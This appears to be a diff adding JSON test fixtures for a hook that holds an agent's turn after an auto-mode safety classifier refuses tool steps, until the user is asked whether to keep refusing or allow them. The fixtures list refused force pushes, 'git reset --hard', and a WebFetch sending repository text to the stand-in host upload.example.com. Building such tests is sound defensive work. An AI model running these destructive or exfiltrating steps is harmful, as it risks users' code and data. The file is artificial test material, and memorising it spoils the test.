"kind": "should act",
|
|
1360
|
+
"source": "eval inputs",
|
|
1361
|
+
"summary": "One pending entry, no question yet: held with the exact question, header, labels and command.",
|
|
1362
|
+
"events": [
|
|
1363
|
+
{
|
|
1364
|
+
"refusal": {
|
|
1365
|
+
"tool_name": "Bash",
|
|
1366
|
+
"tool_input": {
|
|
1367
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1368
|
+
"description": "Run a step"
|
|
1369
|
+
},
|
|
1370
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1371
|
+
},
|
|
1372
|
+
"name": "a"
|
|
1373
|
+
},
|
|
1374
|
+
{
|
|
1375
|
+
"stop": {},
|
|
1376
|
+
"expect": {
|
|
1377
|
+
"held": true,
|
|
1378
|
+
"reason_contains": [
|
|
1379
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1380
|
+
"Auto mode",
|
|
1381
|
+
"Keep refusing",
|
|
1382
|
+
"Allow it",
|
|
1383
|
+
"git push --force-with-lease origin claude/x"
|
|
1384
|
+
]
|
|
1385
|
+
}
|
|
1386
|
+
}
|
|
1387
|
+
]
|
|
1388
|
+
},
|
|
1389
|
+
{
|
|
1390
|
+
"id": "Q2",
|
|
1391
|
+
"kind": "should act",
|
|
1392
|
+
"source": "eval inputs",
|
|
1393
|
+
"summary": "Three entries in one group: the 3 Bash steps question and three commands.",
|
|
1394
|
+
"events": [
|
|
1395
|
+
{
|
|
1396
|
+
"refusal": {
|
|
1397
|
+
"tool_name": "Bash",
|
|
1398
|
+
"tool_input": {
|
|
1399
|
+
"command": "git push --force-with-lease origin claude/q-1",
|
|
1400
|
+
"description": "Run a step"
|
|
1401
|
+
},
|
|
1402
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1403
|
+
}
|
|
1404
|
+
},
|
|
1405
|
+
{
|
|
1406
|
+
"refusal": {
|
|
1407
|
+
"tool_name": "Bash",
|
|
1408
|
+
"tool_input": {
|
|
1409
|
+
"command": "git push --force-with-lease origin claude/q-2",
|
|
1410
|
+
"description": "Run a step"
|
|
1411
|
+
},
|
|
1412
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1413
|
+
}
|
|
1414
|
+
},
|
|
1415
|
+
{
|
|
1416
|
+
"refusal": {
|
|
1417
|
+
"tool_name": "Bash",
|
|
1418
|
+
"tool_input": {
|
|
1419
|
+
"command": "git push --force-with-lease origin claude/q-3",
|
|
1420
|
+
"description": "Run a step"
|
|
1421
|
+
},
|
|
1422
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1423
|
+
}
|
|
1424
|
+
},
|
|
1425
|
+
{
|
|
1426
|
+
"stop": {},
|
|
1427
|
+
"expect": {
|
|
1428
|
+
"held": true,
|
|
1429
|
+
"reason_contains": [
|
|
1430
|
+
"Auto mode refused 3 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
1431
|
+
"git push --force-with-lease origin claude/q-1",
|
|
1432
|
+
"git push --force-with-lease origin claude/q-2",
|
|
1433
|
+
"git push --force-with-lease origin claude/q-3"
|
|
1434
|
+
]
|
|
1435
|
+
}
|
|
1436
|
+
}
|
|
1437
|
+
]
|
|
1438
|
+
},
|
|
1439
|
+
{
|
|
1440
|
+
"id": "Q3",
|
|
1441
|
+
"kind": "should act",
|
|
1442
|
+
"source": "eval inputs",
|
|
1443
|
+
"summary": "Six entries in one group: the 5 Bash steps question and the five oldest commands.",
|
|
1444
|
+
"events": [
|
|
1445
|
+
{
|
|
1446
|
+
"refusal": {
|
|
1447
|
+
"tool_name": "Bash",
|
|
1448
|
+
"tool_input": {
|
|
1449
|
+
"command": "git push --force-with-lease origin claude/q-1",
|
|
1450
|
+
"description": "Run a step"
|
|
1451
|
+
},
|
|
1452
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1453
|
+
}
|
|
1454
|
+
},
|
|
1455
|
+
{
|
|
1456
|
+
"refusal": {
|
|
1457
|
+
"tool_name": "Bash",
|
|
1458
|
+
"tool_input": {
|
|
1459
|
+
"command": "git push --force-with-lease origin claude/q-2",
|
|
1460
|
+
"description": "Run a step"
|
|
1461
|
+
},
|
|
1462
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1463
|
+
}
|
|
1464
|
+
},
|
|
1465
|
+
{
|
|
1466
|
+
"refusal": {
|
|
1467
|
+
"tool_name": "Bash",
|
|
1468
|
+
"tool_input": {
|
|
1469
|
+
"command": "git push --force-with-lease origin claude/q-3",
|
|
1470
|
+
"description": "Run a step"
|
|
1471
|
+
},
|
|
1472
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1473
|
+
}
|
|
1474
|
+
},
|
|
1475
|
+
{
|
|
1476
|
+
"refusal": {
|
|
1477
|
+
"tool_name": "Bash",
|
|
1478
|
+
"tool_input": {
|
|
1479
|
+
"command": "git push --force-with-lease origin claude/q-4",
|
|
1480
|
+
"description": "Run a step"
|
|
1481
|
+
},
|
|
1482
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1483
|
+
}
|
|
1484
|
+
},
|
|
1485
|
+
{
|
|
1486
|
+
"refusal": {
|
|
1487
|
+
"tool_name": "Bash",
|
|
1488
|
+
"tool_input": {
|
|
1489
|
+
"command": "git push --force-with-lease origin claude/q-5",
|
|
1490
|
+
"description": "Run a step"
|
|
1491
|
+
},
|
|
1492
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1493
|
+
}
|
|
1494
|
+
},
|
|
1495
|
+
{
|
|
1496
|
+
"refusal": {
|
|
1497
|
+
"tool_name": "Bash",
|
|
1498
|
+
"tool_input": {
|
|
1499
|
+
"command": "git push --force-with-lease origin claude/q-6",
|
|
1500
|
+
"description": "Run a step"
|
|
1501
|
+
},
|
|
1502
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1503
|
+
}
|
|
1504
|
+
},
|
|
1505
|
+
{
|
|
1506
|
+
"stop": {},
|
|
1507
|
+
"expect": {
|
|
1508
|
+
"held": true,
|
|
1509
|
+
"reason_contains": [
|
|
1510
|
+
"Auto mode refused 5 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
1511
|
+
"git push --force-with-lease origin claude/q-1",
|
|
1512
|
+
"git push --force-with-lease origin claude/q-2",
|
|
1513
|
+
"git push --force-with-lease origin claude/q-3",
|
|
1514
|
+
"git push --force-with-lease origin claude/q-4",
|
|
1515
|
+
"git push --force-with-lease origin claude/q-5"
|
|
1516
|
+
],
|
|
1517
|
+
"reason_excludes": [
|
|
1518
|
+
"git push --force-with-lease origin claude/q-6"
|
|
1519
|
+
]
|
|
1520
|
+
}
|
|
1521
|
+
}
|
|
1522
|
+
]
|
|
1523
|
+
},
|
|
1524
|
+
{
|
|
1525
|
+
"id": "Q4",
|
|
1526
|
+
"kind": "should act",
|
|
1527
|
+
"source": "eval inputs",
|
|
1528
|
+
"summary": "Two groups: both questions.",
|
|
1529
|
+
"events": [
|
|
1530
|
+
{
|
|
1531
|
+
"refusal": {
|
|
1532
|
+
"tool_name": "Bash",
|
|
1533
|
+
"tool_input": {
|
|
1534
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1535
|
+
"description": "Run a step"
|
|
1536
|
+
},
|
|
1537
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1538
|
+
}
|
|
1539
|
+
},
|
|
1540
|
+
{
|
|
1541
|
+
"refusal": {
|
|
1542
|
+
"tool_name": "WebFetch",
|
|
1543
|
+
"tool_input": {
|
|
1544
|
+
"url": "https://upload.example.com/collect?source=repo",
|
|
1545
|
+
"prompt": "Summarize the page"
|
|
1546
|
+
},
|
|
1547
|
+
"reason": "[Data Exfiltration] sends repository text to an outside host"
|
|
1548
|
+
}
|
|
1549
|
+
},
|
|
1550
|
+
{
|
|
1551
|
+
"stop": {},
|
|
1552
|
+
"expect": {
|
|
1553
|
+
"held": true,
|
|
1554
|
+
"reason_contains": [
|
|
1555
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1556
|
+
"Auto mode refused 1 WebFetch step under the Data Exfiltration rule. Should auto mode have refused it?"
|
|
1557
|
+
]
|
|
1558
|
+
}
|
|
1559
|
+
}
|
|
1560
|
+
]
|
|
1561
|
+
},
|
|
1562
|
+
{
|
|
1563
|
+
"id": "Q5",
|
|
1564
|
+
"kind": "should act",
|
|
1565
|
+
"source": "eval inputs",
|
|
1566
|
+
"summary": "Five groups: four questions.",
|
|
1567
|
+
"events": [
|
|
1568
|
+
{
|
|
1569
|
+
"refusal": {
|
|
1570
|
+
"tool_name": "Bash",
|
|
1571
|
+
"tool_input": {
|
|
1572
|
+
"command": "step-1",
|
|
1573
|
+
"description": "Run a step"
|
|
1574
|
+
},
|
|
1575
|
+
"reason": "[Git Destructive] refused step"
|
|
1576
|
+
}
|
|
1577
|
+
},
|
|
1578
|
+
{
|
|
1579
|
+
"refusal": {
|
|
1580
|
+
"tool_name": "Bash",
|
|
1581
|
+
"tool_input": {
|
|
1582
|
+
"command": "step-2",
|
|
1583
|
+
"description": "Run a step"
|
|
1584
|
+
},
|
|
1585
|
+
"reason": "[Data Exfiltration] refused step"
|
|
1586
|
+
}
|
|
1587
|
+
},
|
|
1588
|
+
{
|
|
1589
|
+
"refusal": {
|
|
1590
|
+
"tool_name": "Bash",
|
|
1591
|
+
"tool_input": {
|
|
1592
|
+
"command": "step-3",
|
|
1593
|
+
"description": "Run a step"
|
|
1594
|
+
},
|
|
1595
|
+
"reason": "[Destructive or Unwanted Actions] refused step"
|
|
1596
|
+
}
|
|
1597
|
+
},
|
|
1598
|
+
{
|
|
1599
|
+
"refusal": {
|
|
1600
|
+
"tool_name": "Bash",
|
|
1601
|
+
"tool_input": {
|
|
1602
|
+
"command": "step-4",
|
|
1603
|
+
"description": "Run a step"
|
|
1604
|
+
},
|
|
1605
|
+
"reason": "[Undermining Oversight] refused step"
|
|
1606
|
+
}
|
|
1607
|
+
},
|
|
1608
|
+
{
|
|
1609
|
+
"refusal": {
|
|
1610
|
+
"tool_name": "Bash",
|
|
1611
|
+
"tool_input": {
|
|
1612
|
+
"command": "step-5",
|
|
1613
|
+
"description": "Run a step"
|
|
1614
|
+
},
|
|
1615
|
+
"reason": "[Security Weaken] refused step"
|
|
1616
|
+
}
|
|
1617
|
+
},
|
|
1618
|
+
{
|
|
1619
|
+
"stop": {},
|
|
1620
|
+
"expect": {
|
|
1621
|
+
"held": true,
|
|
1622
|
+
"reason_holds_count_of": {
|
|
1623
|
+
"texts": [
|
|
1624
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1625
|
+
"Auto mode refused 1 Bash step under the Data Exfiltration rule. Should auto mode have refused it?",
|
|
1626
|
+
"Auto mode refused 1 Bash step under the Destructive or Unwanted Actions rule. Should auto mode have refused it?",
|
|
1627
|
+
"Auto mode refused 1 Bash step under the Undermining Oversight rule. Should auto mode have refused it?",
|
|
1628
|
+
"Auto mode refused 1 Bash step under the Security Weaken rule. Should auto mode have refused it?"
|
|
1629
|
+
],
|
|
1630
|
+
"count": 4
|
|
1631
|
+
}
|
|
1632
|
+
}
|
|
1633
|
+
}
|
|
1634
|
+
]
|
|
1635
|
+
},
|
|
1636
|
+
{
|
|
1637
|
+
"id": "Q6",
|
|
1638
|
+
"kind": "should act",
|
|
1639
|
+
"source": "eval inputs",
|
|
1640
|
+
"summary": "An Auto mode question with the same text was answered before the refusal: still held.",
|
|
1641
|
+
"events": [
|
|
1642
|
+
{
|
|
1643
|
+
"transcript": "ask",
|
|
1644
|
+
"questions": [
|
|
1645
|
+
{
|
|
1646
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1647
|
+
"answer": "Keep refusing"
|
|
1648
|
+
}
|
|
1649
|
+
]
|
|
1650
|
+
},
|
|
1651
|
+
{
|
|
1652
|
+
"refusal": {
|
|
1653
|
+
"tool_name": "Bash",
|
|
1654
|
+
"tool_input": {
|
|
1655
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1656
|
+
"description": "Run a step"
|
|
1657
|
+
},
|
|
1658
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1659
|
+
},
|
|
1660
|
+
"name": "a"
|
|
1661
|
+
},
|
|
1662
|
+
{
|
|
1663
|
+
"stop": {},
|
|
1664
|
+
"expect": {
|
|
1665
|
+
"held": true,
|
|
1666
|
+
"reason_contains": [
|
|
1667
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
1668
|
+
],
|
|
1669
|
+
"answers": {
|
|
1670
|
+
"a": null
|
|
1671
|
+
}
|
|
1672
|
+
}
|
|
1673
|
+
}
|
|
1674
|
+
]
|
|
1675
|
+
},
|
|
1676
|
+
{
|
|
1677
|
+
"id": "Q7",
|
|
1678
|
+
"kind": "should act",
|
|
1679
|
+
"source": "eval inputs",
|
|
1680
|
+
"summary": "The Auto mode question call ended in an error: held.",
|
|
1681
|
+
"events": [
|
|
1682
|
+
{
|
|
1683
|
+
"refusal": {
|
|
1684
|
+
"tool_name": "Bash",
|
|
1685
|
+
"tool_input": {
|
|
1686
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1687
|
+
"description": "Run a step"
|
|
1688
|
+
},
|
|
1689
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1690
|
+
},
|
|
1691
|
+
"name": "a"
|
|
1692
|
+
},
|
|
1693
|
+
{
|
|
1694
|
+
"transcript": "ask",
|
|
1695
|
+
"questions": [
|
|
1696
|
+
{
|
|
1697
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1698
|
+
"answer": "Allow it"
|
|
1699
|
+
}
|
|
1700
|
+
],
|
|
1701
|
+
"error": true
|
|
1702
|
+
},
|
|
1703
|
+
{
|
|
1704
|
+
"stop": {},
|
|
1705
|
+
"expect": {
|
|
1706
|
+
"held": true,
|
|
1707
|
+
"reason_contains": [
|
|
1708
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
1709
|
+
],
|
|
1710
|
+
"answers": {
|
|
1711
|
+
"a": null
|
|
1712
|
+
}
|
|
1713
|
+
}
|
|
1714
|
+
}
|
|
1715
|
+
]
|
|
1716
|
+
},
|
|
1717
|
+
{
|
|
1718
|
+
"id": "Q8",
|
|
1719
|
+
"kind": "should act",
|
|
1720
|
+
"source": "eval inputs",
|
|
1721
|
+
"summary": "The payload says a Stop hook already held this turn: held.",
|
|
1722
|
+
"events": [
|
|
1723
|
+
{
|
|
1724
|
+
"refusal": {
|
|
1725
|
+
"tool_name": "Bash",
|
|
1726
|
+
"tool_input": {
|
|
1727
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1728
|
+
"description": "Run a step"
|
|
1729
|
+
},
|
|
1730
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1731
|
+
},
|
|
1732
|
+
"name": "a"
|
|
1733
|
+
},
|
|
1734
|
+
{
|
|
1735
|
+
"stop": {
|
|
1736
|
+
"stop_hook_active": true
|
|
1737
|
+
},
|
|
1738
|
+
"expect": {
|
|
1739
|
+
"held": true,
|
|
1740
|
+
"reason_contains": [
|
|
1741
|
+
"Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
1742
|
+
]
|
|
1743
|
+
}
|
|
1744
|
+
}
|
|
1745
|
+
]
|
|
1746
|
+
},
|
|
1747
|
+
{
|
|
1748
|
+
"id": "Q9",
|
|
1749
|
+
"kind": "should stay quiet",
|
|
1750
|
+
"source": "eval inputs",
|
|
1751
|
+
"summary": "The question follows the entry, answered Keep refusing: turn ends, entry kept.",
|
|
1752
|
+
"events": [
|
|
1753
|
+
{
|
|
1754
|
+
"refusal": {
|
|
1755
|
+
"tool_name": "Bash",
|
|
1756
|
+
"tool_input": {
|
|
1757
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1758
|
+
"description": "Run a step"
|
|
1759
|
+
},
|
|
1760
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1761
|
+
},
|
|
1762
|
+
"name": "a"
|
|
1763
|
+
},
|
|
1764
|
+
{
|
|
1765
|
+
"transcript": "ask",
|
|
1766
|
+
"questions": [
|
|
1767
|
+
{
|
|
1768
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1769
|
+
"answer": "Keep refusing"
|
|
1770
|
+
}
|
|
1771
|
+
]
|
|
1772
|
+
},
|
|
1773
|
+
{
|
|
1774
|
+
"stop": {},
|
|
1775
|
+
"expect": {
|
|
1776
|
+
"held": false,
|
|
1777
|
+
"answers": {
|
|
1778
|
+
"a": "kept"
|
|
1779
|
+
}
|
|
1780
|
+
}
|
|
1781
|
+
}
|
|
1782
|
+
]
|
|
1783
|
+
},
|
|
1784
|
+
{
|
|
1785
|
+
"id": "Q10",
|
|
1786
|
+
"kind": "should stay quiet",
|
|
1787
|
+
"source": "eval inputs",
|
|
1788
|
+
"summary": "An entry already held twice: the third Stop ends the turn.",
|
|
1789
|
+
"events": [
|
|
1790
|
+
{
|
|
1791
|
+
"refusal": {
|
|
1792
|
+
"tool_name": "Bash",
|
|
1793
|
+
"tool_input": {
|
|
1794
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1795
|
+
"description": "Run a step"
|
|
1796
|
+
},
|
|
1797
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1798
|
+
},
|
|
1799
|
+
"name": "a"
|
|
1800
|
+
},
|
|
1801
|
+
{
|
|
1802
|
+
"stop": {},
|
|
1803
|
+
"expect": {
|
|
1804
|
+
"held": true
|
|
1805
|
+
}
|
|
1806
|
+
},
|
|
1807
|
+
{
|
|
1808
|
+
"stop": {},
|
|
1809
|
+
"expect": {
|
|
1810
|
+
"held": true
|
|
1811
|
+
}
|
|
1812
|
+
},
|
|
1813
|
+
{
|
|
1814
|
+
"stop": {},
|
|
1815
|
+
"expect": {
|
|
1816
|
+
"held": false,
|
|
1817
|
+
"answers": {
|
|
1818
|
+
"a": null
|
|
1819
|
+
}
|
|
1820
|
+
}
|
|
1821
|
+
}
|
|
1822
|
+
]
|
|
1823
|
+
},
|
|
1824
|
+
{
|
|
1825
|
+
"id": "Q11",
|
|
1826
|
+
"kind": "should stay quiet",
|
|
1827
|
+
"source": "eval inputs",
|
|
1828
|
+
"summary": "No entries: turn ends, no output.",
|
|
1829
|
+
"events": [
|
|
1830
|
+
{
|
|
1831
|
+
"stop": {},
|
|
1832
|
+
"expect": {
|
|
1833
|
+
"held": false,
|
|
1834
|
+
"stdout_empty": true
|
|
1835
|
+
}
|
|
1836
|
+
}
|
|
1837
|
+
]
|
|
1838
|
+
},
|
|
1839
|
+
{
|
|
1840
|
+
"id": "Q12",
|
|
1841
|
+
"kind": "should stay quiet",
|
|
1842
|
+
"source": "eval inputs",
|
|
1843
|
+
"summary": "Flow off at Stop with one pending entry on disk: turn ends.",
|
|
1844
|
+
"events": [
|
|
1845
|
+
{
|
|
1846
|
+
"refusal": {
|
|
1847
|
+
"tool_name": "Bash",
|
|
1848
|
+
"tool_input": {
|
|
1849
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1850
|
+
"description": "Run a step"
|
|
1851
|
+
},
|
|
1852
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1853
|
+
},
|
|
1854
|
+
"name": "a"
|
|
1855
|
+
},
|
|
1856
|
+
{
|
|
1857
|
+
"stop": {},
|
|
1858
|
+
"expect": {
|
|
1859
|
+
"held": false
|
|
1860
|
+
},
|
|
1861
|
+
"flow": "off"
|
|
1862
|
+
}
|
|
1863
|
+
]
|
|
1864
|
+
},
|
|
1865
|
+
{
|
|
1866
|
+
"id": "Q13",
|
|
1867
|
+
"kind": "should stay quiet",
|
|
1868
|
+
"source": "eval inputs",
|
|
1869
|
+
"summary": "Print-mode run (entrypoint sdk-cli): turn ends.",
|
|
1870
|
+
"events": [
|
|
1871
|
+
{
|
|
1872
|
+
"refusal": {
|
|
1873
|
+
"tool_name": "Bash",
|
|
1874
|
+
"tool_input": {
|
|
1875
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1876
|
+
"description": "Run a step"
|
|
1877
|
+
},
|
|
1878
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1879
|
+
},
|
|
1880
|
+
"name": "a",
|
|
1881
|
+
"env": {
|
|
1882
|
+
"CLAUDE_CODE_ENTRYPOINT": "sdk-cli"
|
|
1883
|
+
}
|
|
1884
|
+
},
|
|
1885
|
+
{
|
|
1886
|
+
"stop": {},
|
|
1887
|
+
"expect": {
|
|
1888
|
+
"held": false
|
|
1889
|
+
},
|
|
1890
|
+
"env": {
|
|
1891
|
+
"CLAUDE_CODE_ENTRYPOINT": "sdk-cli"
|
|
1892
|
+
}
|
|
1893
|
+
}
|
|
1894
|
+
]
|
|
1895
|
+
},
|
|
1896
|
+
{
|
|
1897
|
+
"id": "Q14",
|
|
1898
|
+
"kind": "should stay quiet",
|
|
1899
|
+
"source": "eval inputs",
|
|
1900
|
+
"summary": "A decision card call that holds auto mode follows the entry: turn ends.",
|
|
1901
|
+
"events": [
|
|
1902
|
+
{
|
|
1903
|
+
"refusal": {
|
|
1904
|
+
"tool_name": "Bash",
|
|
1905
|
+
"tool_input": {
|
|
1906
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1907
|
+
"description": "Run a step"
|
|
1908
|
+
},
|
|
1909
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1910
|
+
},
|
|
1911
|
+
"name": "a"
|
|
1912
|
+
},
|
|
1913
|
+
{
|
|
1914
|
+
"transcript": "card",
|
|
1915
|
+
"tool": "mcp__hearthbot__ask_decision",
|
|
1916
|
+
"question": "Should auto mode have refused this Bash step?"
|
|
1917
|
+
},
|
|
1918
|
+
{
|
|
1919
|
+
"stop": {},
|
|
1920
|
+
"expect": {
|
|
1921
|
+
"held": false
|
|
1922
|
+
}
|
|
1923
|
+
}
|
|
1924
|
+
]
|
|
1925
|
+
},
|
|
1926
|
+
{
|
|
1927
|
+
"id": "Q15",
|
|
1928
|
+
"kind": "should stay quiet",
|
|
1929
|
+
"source": "eval inputs",
|
|
1930
|
+
"summary": "The pending entry belongs to another session: turn ends.",
|
|
1931
|
+
"events": [
|
|
1932
|
+
{
|
|
1933
|
+
"refusal": {
|
|
1934
|
+
"tool_name": "Bash",
|
|
1935
|
+
"tool_input": {
|
|
1936
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1937
|
+
"description": "Run a step"
|
|
1938
|
+
},
|
|
1939
|
+
"reason": "[Git Destructive] force push to a shared branch",
|
|
1940
|
+
"session_id": "session-other"
|
|
1941
|
+
},
|
|
1942
|
+
"name": "other",
|
|
1943
|
+
"expect": {
|
|
1944
|
+
"creates_entry": true
|
|
1945
|
+
}
|
|
1946
|
+
},
|
|
1947
|
+
{
|
|
1948
|
+
"stop": {},
|
|
1949
|
+
"expect": {
|
|
1950
|
+
"held": false
|
|
1951
|
+
}
|
|
1952
|
+
}
|
|
1953
|
+
]
|
|
1954
|
+
},
|
|
1955
|
+
{
|
|
1956
|
+
"id": "A1",
|
|
1957
|
+
"kind": "should act",
|
|
1958
|
+
"source": "eval inputs",
|
|
1959
|
+
"summary": "Allow it: entry allowed, one hold names the playbook and the ledger file.",
|
|
1960
|
+
"events": [
|
|
1961
|
+
{
|
|
1962
|
+
"refusal": {
|
|
1963
|
+
"tool_name": "Bash",
|
|
1964
|
+
"tool_input": {
|
|
1965
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
1966
|
+
"description": "Run a step"
|
|
1967
|
+
},
|
|
1968
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
1969
|
+
},
|
|
1970
|
+
"name": "a"
|
|
1971
|
+
},
|
|
1972
|
+
{
|
|
1973
|
+
"stop": {},
|
|
1974
|
+
"expect": {
|
|
1975
|
+
"held": true
|
|
1976
|
+
}
|
|
1977
|
+
},
|
|
1978
|
+
{
|
|
1979
|
+
"transcript": "ask",
|
|
1980
|
+
"questions": [
|
|
1981
|
+
{
|
|
1982
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
1983
|
+
"answer": "Allow it"
|
|
1984
|
+
}
|
|
1985
|
+
]
|
|
1986
|
+
},
|
|
1987
|
+
{
|
|
1988
|
+
"stop": {},
|
|
1989
|
+
"expect": {
|
|
1990
|
+
"held": true,
|
|
1991
|
+
"reason_contains": [
|
|
1992
|
+
"@@playbook@@",
|
|
1993
|
+
"@@ledger:a@@"
|
|
1994
|
+
],
|
|
1995
|
+
"answers": {
|
|
1996
|
+
"a": "allowed"
|
|
1997
|
+
}
|
|
1998
|
+
}
|
|
1999
|
+
}
|
|
2000
|
+
]
|
|
2001
|
+
},
|
|
2002
|
+
{
|
|
2003
|
+
"id": "A2",
|
|
2004
|
+
"kind": "should act",
|
|
2005
|
+
"source": "eval inputs",
|
|
2006
|
+
"summary": "Allow it (Recommended): same as A1.",
|
|
2007
|
+
"events": [
|
|
2008
|
+
{
|
|
2009
|
+
"refusal": {
|
|
2010
|
+
"tool_name": "Bash",
|
|
2011
|
+
"tool_input": {
|
|
2012
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2013
|
+
"description": "Run a step"
|
|
2014
|
+
},
|
|
2015
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2016
|
+
},
|
|
2017
|
+
"name": "a"
|
|
2018
|
+
},
|
|
2019
|
+
{
|
|
2020
|
+
"stop": {},
|
|
2021
|
+
"expect": {
|
|
2022
|
+
"held": true
|
|
2023
|
+
}
|
|
2024
|
+
},
|
|
2025
|
+
{
|
|
2026
|
+
"transcript": "ask",
|
|
2027
|
+
"questions": [
|
|
2028
|
+
{
|
|
2029
|
+
"question": "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?",
|
|
2030
|
+
"answer": "Allow it (Recommended)"
|
|
2031
|
+
}
|
|
2032
|
+
]
|
|
2033
|
+
},
|
|
2034
|
+
{
|
|
2035
|
+
"stop": {},
|
|
2036
|
+
"expect": {
|
|
2037
|
+
"held": true,
|
|
2038
|
+
"reason_contains": [
|
|
2039
|
+
"@@playbook@@",
|
|
2040
|
+
"@@ledger:a@@"
|
|
2041
|
+
],
|
|
2042
|
+
"answers": {
|
|
2043
|
+
"a": "allowed"
|
|
2044
|
+
}
|
|
2045
|
+
}
|
|
2046
|
+
}
|
|
2047
|
+
]
|
|
2048
|
+
},
|
|
2049
|
+
{
|
|
2050
|
+
"id": "A3",
|
|
2051
|
+
"kind": "should act",
|
|
2052
|
+
"source": "eval inputs",
|
|
2053
|
+
"summary": "Two allowed entries: one hold names both ledger files.",
|
|
2054
|
+
"events": [
|
|
2055
|
+
{
|
|
2056
|
+
"refusal": {
|
|
2057
|
+
"tool_name": "Bash",
|
|
2058
|
+
"tool_input": {
|
|
2059
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2060
|
+
"description": "Run a step"
|
|
2061
|
+
},
|
|
2062
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2063
|
+
},
|
|
2064
|
+
"name": "a"
|
|
2065
|
+
},
|
|
2066
|
+
{
|
|
2067
|
+
"refusal": {
|
|
2068
|
+
"tool_name": "Bash",
|
|
2069
|
+
"tool_input": {
|
|
2070
|
+
"command": "git reset --hard origin/main",
|
|
2071
|
+
"description": "Run a step"
|
|
2072
|
+
},
|
|
2073
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2074
|
+
},
|
|
2075
|
+
"name": "b"
|
|
2076
|
+
},
|
|
2077
|
+
{
|
|
2078
|
+
"stop": {},
|
|
2079
|
+
"expect": {
|
|
2080
|
+
"held": true
|
|
2081
|
+
}
|
|
2082
|
+
},
|
|
2083
|
+
{
|
|
2084
|
+
"transcript": "ask",
|
|
2085
|
+
"questions": [
|
|
2086
|
+
{
|
|
2087
|
+
"question": "Auto mode refused 2 Bash steps under the Git Destructive rule. Should auto mode have refused them?",
|
|
2088
|
+
"answer": "Allow it"
|
|
2089
|
+
}
|
|
2090
|
+
]
|
|
2091
|
+
},
|
|
2092
|
+
{
|
|
2093
|
+
"stop": {},
|
|
2094
|
+
"expect": {
|
|
2095
|
+
"held": true,
|
|
2096
|
+
"reason_contains": [
|
|
2097
|
+
"@@ledger:a@@",
|
|
2098
|
+
"@@ledger:b@@"
|
|
2099
|
+
],
|
|
2100
|
+
"answers": {
|
|
2101
|
+
"a": "allowed",
|
|
2102
|
+
"b": "allowed"
|
|
2103
|
+
}
|
|
2104
|
+
}
|
|
2105
|
+
}
|
|
2106
|
+
]
|
|
2107
|
+
},
|
|
2108
|
+
{
|
|
2109
|
+
"id": "A4",
|
|
2110
|
+
"kind": "should act",
|
|
2111
|
+
"source": "eval inputs",
|
|
2112
|
+
"summary": "Allow it on a 2-step question; a third refusal arrives after the answer: it stays pending and gets its own question.",
|
|
2113
|
+
"events": [
|
|
2114
|
+
{
|
|
2115
|
+
"refusal": {
|
|
2116
|
+
"tool_name": "Bash",
|
|
2117
|
+
"tool_input": {
|
|
2118
|
+
"command": "git push --force-with-lease origin claude/x",
|
|
2119
|
+
"description": "Run a step"
|
|
2120
|
+
},
|
|
2121
|
+
"reason": "[Git Destructive] force push to a shared branch"
|
|
2122
|
+
},
|
|
2123
|
+
"name": "a"
|
|
2124
|
+
},
|
|
2125
|
+
{
|
|
2126
|
+
"refusal": {
|
|
2127
|
+
"tool_name": "Bash",
|
|
2128
|
+
"tool_input": {
|
|
2129
|
+
"command": "git reset --hard origin/main",
|
|
2130
|
+
"description": "Run a step"
|
|
2131
|
+
},
|
|
2132
|
+
